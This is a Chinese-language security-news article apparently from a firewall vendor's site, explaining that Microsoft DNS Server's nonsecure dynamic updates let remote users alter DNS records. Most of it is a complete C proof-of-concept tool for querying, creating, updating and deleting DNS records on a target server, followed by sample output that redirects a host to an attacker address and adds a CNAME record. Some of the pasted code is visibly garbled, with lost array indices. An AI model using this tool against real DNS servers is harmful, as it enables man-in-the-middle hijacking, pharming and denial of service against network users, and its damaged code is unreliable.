English
 电子信箱
 加入收藏

  威盾防火墙 >> 新闻中心 >> 业界动态 >> 针对微软DNS Server动态升级漏洞的解析

 

针对微软DNS Server动态升级漏洞的解析

威盾防火墙 2014-11-21

 

在系统设定下,大多数微软DNS服务的每个DNS记录都整合了允许非安全的动态升级的动态目录索引。这项功能能够允许远程用户创建修改和删除DNS记录。

这是基于此的几个攻击说明:

+ MITM 攻击:修改DNS记录。

这种攻击方式是最可靠的,同时也允许我们为许多Windows软件开发自动升级和同时修改二进制数。

+ 服务的拒绝:通过删除修改关键性的DNS记录。

+ Pharm:类似于MITM攻击,可以使许多DNS记录中毒。

DNS爱好者们就是利用那些薄弱的软件设置环节进行对DNS记录的修改。这里有些做过的例子,请大家参考:

D:\DNSfun>ping -n 1 FakeProxy.fooooo.com  Haciendo ping a FakeProxy.fooooo.com [66.6.66.6] con 32 bytes de datos:          D:\DNSfun>dnsfun.exe -s 10.100.1.1 -q  proxy.mydomain -u 66.6.66.6  Microsoft Dynamic DNS Updates - Proof of Concept  http://www.514.es - (c) 2007 Andres Tarasco Acu?a          [+] Trying to resolve Host: proxy.mydomain (Dns Server 10.100.1.1)  [+] Host proxy.mydomain resolved as 192.168.1.200  [+] Trying to set ip address of the host proxy.mydomain to 66.6.66.6  [+] Trying Nonsecure Dynamic Update...  [?] Host Updated. Checking...(0)  [+] Host proxy.mydomain resolved as 66.6.66.6   D:\DNSfun>dnsfun.exe -s 10.100.1.1 -cc atarasco.mydomain.com -u www.514.es  Microsoft Dynamic DNS Updates - Proof of Concept  http://www.514.es - (c) 2007 Andres Tarasco Acu?a   [+] Gathering Credentials..  [+] Creating DNS CName Record for atarasco.mydomain.com (www.514.es)  [+] Host Created. Rechecking Record...  [+] Host atarasco.mydomain.com resolved as CNAME www.514.es

这虽然已经不是一个新的漏洞,但是很多人还是没有发现利用它。检查惯用函数,你会发现很多新功能:

*/  #include <stdio.h>  #include <winsock2.h>  #include <Windns.h>  #pragma comment(lib,"Dnsapi.lib")  #pragma comment(lib, "ws2_32.lib")   char TargetDnsServer[256]=""; // -s  char TargetDnsRecord[256]=""; // -q  char NewIpAddress[256]="";    // -i  char DeleteDnsRecord[256]=""; //-d  char CreateDnsRecord[256]="";   WORD CreationType=DNS_TYPE_A;   #define DELETERECORD   (DeleteDnsRecord[0]!='\0')  #define UPDATERECORD ( (TargetDnsRecord[0]!='\0') && (NewIpAddress[0]!='\0') )  #define CREATERECORD ( (CreateDnsRecord[0]!='\0') && (NewIpAddress[0]!='\0') )  #define QUERYRECORD    (TargetDnsRecord[0]!='\0')  #define _DBG_  #undef _DBG_   void usage(char *argv[]);    DNS_RECORDA *DnsQueryA(char *name,IP4_ARRAY *servers)  {         DNS_STATUS status;     WORD type= DNS_TYPE_ANY;     DWORD fOptions=DNS_QUERY_BYPASS_CACHE | DNS_QUERY_NO_LOCAL_NAME  |DNS_QUERY_NO_HOSTS_FILE | DNS_QUERY_NO_NETBT |   DNS_QUERY_TREAT_AS_FQDN;     PVOID* reserved=NULL;     DNS_RECORDA *records=(PDNS_RECORDA)malloc(sizeof(DNS_RECORDA));     DNS_RECORDA *result;     IN_ADDR ipaddr;     int i;     int count=0;                 if (!name) {        return (NULL);     } else {        memset(records,'\0',sizeof(DNS_RECORDA));        status = DnsQuery_A( name,          //PCWSTR pszName,           type,          //WORD wType,           fOptions,      //DWORD fOptions,           servers,       //PIP4_ARRAY aipServers,           (DNS_RECORDA**)&records,    //PDNS_RECORD* ppQueryResultsSet,           reserved ); //PVOID* pReserved                if (status == ERROR_SUCCESS)        {           fflush(stdout);           result=records;           do {  #ifdef _DBG_                  printf("[+] Record %i---\n",count);              count++;              printf("[+] DNS  wDataLength %i\n",result->wDataLength);              printf("[+] DNS Flags DW: %x\n",result->Flags.DW);              printf("[+] DNS Flags S.Section: %x\n",result->Flags.S.Section);              printf("[+] DNS Flags S.Delete: %x\n",result->Flags.S.Delete);              printf("[+] DNS Flags S.CharSet: %x\n",result->Flags.S.CharSet);              printf("[+] DNS Flags S.Unused: %x\n",result->Flags.S.Unused);              printf("[+] DNS Flags S.Reserved: %x\n",result->Flags.S.Reserved);  #endif              switch (result->wType) {              case DNS_TYPE_A:                 ipaddr.S_un.S_addr = (result->Data.A.IpAddress);                 printf("[+] Host %s resolved as %s\n", result->pName,inet_ntoa(ipaddr));                 break;              case DNS_TYPE_NS:                 printf("[+] Domain %s Dns Servers: %s\n",result->pName,result->Data.Ns.pNameHost);                 break;              case DNS_TYPE_CNAME:                 printf("[+] Host %s resolved as CNAME %s\n", result->pName,result- >Data.Cname.pNameHost);                 //DnsQueryA(result->Data.Cname.pNameHost,servers);                 break;                              case DNS_TYPE_SOA:                 printf("[+] SOA Information: PrimaryServer: %s\n",result- >Data.Soa.pNamePrimaryServer);                 printf("[+] SOA Information: Administrator: %s\n",result- >Data.Soa.pNameAdministrator);                 printf("[+] SOA Information: SerialNo %x - Refresh %i - retry %i - Expire % i - DefaultTld %i\n",                    result->Data.Soa.dwSerialNo,                    result->Data.Soa.dwRefresh,                    result->Data.Soa.dwRetry,                    result->Data.Soa.dwExpire,                    result->Data.Soa.dwDefaultTtl);                 break;                              case DNS_TYPE_MX:                 printf("[+] %s MX Server resolved as %s (Preference %i)\n", result- >pName,result->Data.Mx.pNameExchange,   result->Data.Mx.wPreference);                 break;               case DNS_TYPE_TEXT:                 printf("[+] Text: %i bytes\n",result->Data.Txt.dwStringCount); //:?                 break;               case DNS_TYPE_SRV:                 printf("[+] SRV Record. NameTarget %s ",result->Data.Srv.pNameTarget);                 printf("(Priority %i - Port %i - Weigth:   %i)\n",result->Data.Srv.wPriority,result->Data.Srv.wPort,result->Data.Srv.wWeight);                 //printf("[+] Resource Pad %i \n",result->Data.Srv.Pad);                 break;                              default:                 printf("[-] DnsQuery returned unknown wtype %x\n",result->wType);                 break;              }              result=result->pNext;           } while (result!=NULL);        } else {           if (status==9003) printf("[-] Record not found\n");           else printf("[-] Query Error: %i - %i\n",status,GetLastError());           exit(-1);        }     }     return records;  }  /***********************************************************************************************/  int main(int argc, char *argv[]) {         HANDLE creds;     DNS_RECORDA *result;     DNS_STATUS status;         HANDLE ContextHandle;     DWORD Options=DNS_UPDATE_SECURITY_ON;     PVOID pReserved=NULL;     IN_ADDR ipaddr;     IP4_ARRAY *servers=NULL;     SEC_WINNT_AUTH_IDENTITY_A *Credentials=NULL;     WORD i;             printf(" Microsoft Dynamic DNS Updates - Proof of Concept\n");     printf(" http://www.514.es - (c) 2007 Andres Tarasco Acu?a\n\n");     if (argc==1) usage(argv);             //Init Credentials Struct     Credentials = (SEC_WINNT_AUTH_IDENTITY_A *)malloc(sizeof(SEC_WINNT_AUTH_IDENTITY_A));     memset(Credentials,'\0',sizeof(SEC_WINNT_AUTH_IDENTITY_A));     Credentials->Flags=SEC_WINNT_AUTH_IDENTITY_ANSI;       for(i=1;i<argc;i++) {        if ( (argv[0]=='-') ) {           switch (argv[1]) {           case 's':           case 'S':              strcpy(TargetDnsServer,argv[i+1]);              servers=(PIP4_ARRAY)malloc(sizeof(IP4_ARRAY));              servers->AddrCount=1;              servers->AddrArray[0]=inet_addr(TargetDnsServer);              break;           case 'D':           case 'd':              strcpy(DeleteDnsRecord,argv[i+1]);              break;                               case 'q':           case 'Q':              strcpy(TargetDnsRecord,argv[i+1]);              break;           case 'u':           case 'U':              strcpy(NewIpAddress,argv[i+1]);              break;           case 'c':           case 'C':              strcpy(CreateDnsRecord,argv[i+1]);              if (NewIpAddress[0]=='\0') strcpy(NewIpAddress,"127.0.0.1");              if (argv[2]!='\0') {                 switch (argv[2]) {                 case 'c': CreationType=DNS_TYPE_CNAME;                    break;                 case 'a': CreationType=DNS_TYPE_A;                    break;                 }              }              break;                        /*              case 'f':                 CreateThread( NULL,0,HttpRelayToProxy,(LPVOID) &i,0,&dwThreadId);                 break;              case 'au': //Uauthorization serName              Credentials->User=argv[i+1]; Credentials->UserLength=strlen(argv[i+1]);    break;              case 'ap':              Credentials->Password=argv[i+1];Credentials->PasswordLength=strlen(argv [i+1]); break;              case 'ad':              Credentials->Domain=argv[i+1]; Credentials->DomainLength=strlen(argv[i+1]);   break;                  */           default:              printf("[-] Invalid argument: %s\n",argv);              usage(argv);              break;           }           i++;                    } else usage(argv);     }         printf("[+] Gathering Credentials..\n");     //http://msdn2.microsoft.com/en-us/library/ms682007.aspx     if (Credentials->UserLength==0) {        status=DnsAcquireContextHandle(FALSE,NULL,&ContextHandle); //Context with default  Credentials     } else {        status=DnsAcquireContextHandle(FALSE,Credentials,&ContextHandle); //Context with  Custom Credentials     }         if (status == ERROR_SUCCESS) {                  if (CREATERECORD) {                     result=(PDNS_RECORDA)malloc(sizeof(DNS_RECORDA));           memset(result,'\0',sizeof(DNS_RECORDA));           result->wType=CreationType; //DNS_TYPE_A by default           if (CreationType==DNS_TYPE_CNAME) {              printf("[+] Creating DNS CName Record for %s (%s) \n",CreateDnsRecord,NewIpAddress);              result->Data.Cname.pNameHost=NewIpAddress;           } else {              printf("[+] Creating DNS A Record for %s (%s)\n",CreateDnsRecord,NewIpAddress);              result->Data.A.IpAddress=inet_addr(NewIpAddress);           }           result->pName=CreateDnsRecord;           result->wDataLength=4;           result->Flags.S.Section=1;           result->Flags.S.CharSet=DnsCharSetAnsi;           result->pNext=NULL;                  status=DnsModifyRecordsInSet_A(result,  //add record              NULL, //delete record              Options,              ContextHandle,              servers,              NULL);           if (status ==ERROR_SUCCESS) {              printf("[+] Host Created. Rechecking Record...\n");              DnsRecordListFree(result,DnsFreeRecordList);              result=DnsQueryA(CreateDnsRecord,servers);           } else {              printf("[-] Error: Unable to create  %s (%i)\n",CreateDnsRecord,status);           }              } else if (DELETERECORD) {                   printf("[+] Trying to resolve Host: %s before deleting\n",DeleteDnsRecord);           result=DnsQueryA(DeleteDnsRecord,servers);           if (result!=NULL) {              printf("[+] Trying to Delete Record. Are You Sure? (Y/N)...");              i=getchar(); if (i!='y') return(-1);              printf("[+] Deleting record %s\n",DeleteDnsRecord);                status=DnsModifyRecordsInSet_A(NULL,  //add record                 result, //delete record                 Options,                 ContextHandle,                 servers,                 NULL);                    if (status ==ERROR_SUCCESS) {                 printf("[+] Host Deleted. Rechecking Record %s...\n",DeleteDnsRecord);                 DnsRecordListFree(result,DnsFreeRecordList);                 result=DnsQueryA(DeleteDnsRecord,servers);              } else {                 printf("[-] Error: Unable to Delete %s\n",DeleteDnsRecord);              }           } else {              printf("[-] Host %s not found\n",DeleteDnsRecord);           }         } else if (UPDATERECORD) {           //         exit(1);           printf("[+] Trying to resolve Host: %s before updating\n",TargetDnsRecord);           result=DnsQueryA(TargetDnsRecord,servers);           if (result->wType==DNS_TYPE_A ) {              printf("[+] Trying to update record. Are You Sure? (Y/N)...");              i=getchar(); if (i!='y') return(-1);              result->Data.A.IpAddress=inet_addr(NewIpAddress);//Modify Dns record              ipaddr.S_un.S_addr = (result->Data.A.IpAddress);              printf("[+] Trying to set ip address of the host %s to %s \n",   TargetDnsRecord,NewIpAddress);//inet_ntoa(ipaddr));              printf("[+] Trying to Modify Record...\n");              status=DnsReplaceRecordSetA(result,                 Options, //Attempts nonsecure dynamic update. If refused, then attempts  secure dynamic update.                 ContextHandle,                 servers,//pServerList,                 NULL);//pReserved              if (status ==ERROR_SUCCESS) {                 printf("[+] Host Updated. Rechecking Record...\n");                 DnsRecordListFree(result,DnsFreeRecordList);                 result=DnsQueryA(TargetDnsRecord,servers);              } else {                 printf("[-] Error: Unable to Delete %s\n",TargetDnsRecord);              }            } else {              printf("[-] Unable to Update Record (Type %x)\n",result->wType);              }        } else if (QUERYRECORD) {           printf("[+] Query Information for host %s...\n",TargetDnsRecord);           result=DnsQueryA(TargetDnsRecord,servers);           DnsRecordListFree(result,DnsFreeRecordList);                } else {           printf("[-] Unknown Options\n");           return(-1);        }               } else {        printf("[-] Error Calling DnsAcquireContextHandle\n");       }     return (1);  }   /****************************************************************************/  void usage(char *argv[]) {       printf(" Usage:\n");     printf("\t%s\t -[s]d|c|q <options>\n",argv[0]);     printf(" Details:\n");       printf("\t%s\t -s  ip        (dns Server (optional))\n",argv[0]);     printf("\t%s\t -d  fqdn      (Delete dns record)\n",argv[0]);     printf("\t%s\t -q  fqdn      (Query  dns record)\n",argv[0]);     printf("\t%s\t -c[a|c] ip    (Create A or CName record (default A))\n",argv[0]);     printf("\t%s\t -u  ip|fqdn   (Update dns record (requires -q or -c))\n",argv[0]);       printf("\n Examples:\n");     printf("\t%s -s 10.0.0.1 -q proxy.mydomain.com -u 5.1.4.77 (Updates record)\n",argv [0]);     printf("\t%s -s 10.0.0.1 -d foo.mydomain.com      (delete foo.mydomain.com record) \n",argv[0]);     printf("\t%s -s 10.0.0.1 -c atarasco.foo.mydomain.com -u 5.14.7.7 (creates record) \n",argv[0]);     printf("\t%s -s 10.0.0.1 -cc www.atarasco.foo.mydomain.com -u 5.14.7.7 (creates record) \n",argv[0]);     printf("\t%s -s 10.0.0.1 -q _ldap._tcp.mydomain             (Query for srv record) \n",argv[0]);     exit(0);  }  /****************************************************************************/

相关内容: 最新内容:
黑客公布Mozilla火狐浏览器漏洞攻击代码[2014-11-21]
php代码不开源下的一种漏洞检测思路[2014-11-21]
利用xss漏洞能做什么?[2014-11-21]
Ruby on Rails XML参数注入漏洞(CVE-2013-0156)分析[2014-11-21]
web安全防范之XSS漏洞攻击[2014-11-18]
如何发现和利用WEB应用程序中潜藏的安全漏洞[2014-11-18]
保卫网络安全 抵挡DoS远程连接远离威胁[2014-11-21]
防黑安全技巧:针对插入式木马的清除方法[2014-11-21]
黑客公布Mozilla火狐浏览器漏洞攻击代码[2014-11-21]
知识:Web 应用程序安全性问题本质解密[2014-11-21]
菜鸟安全进阶 看清木马在系统的藏身点[2014-11-21]
什么是CC攻击,怎样防住CC攻击?[2014-11-21]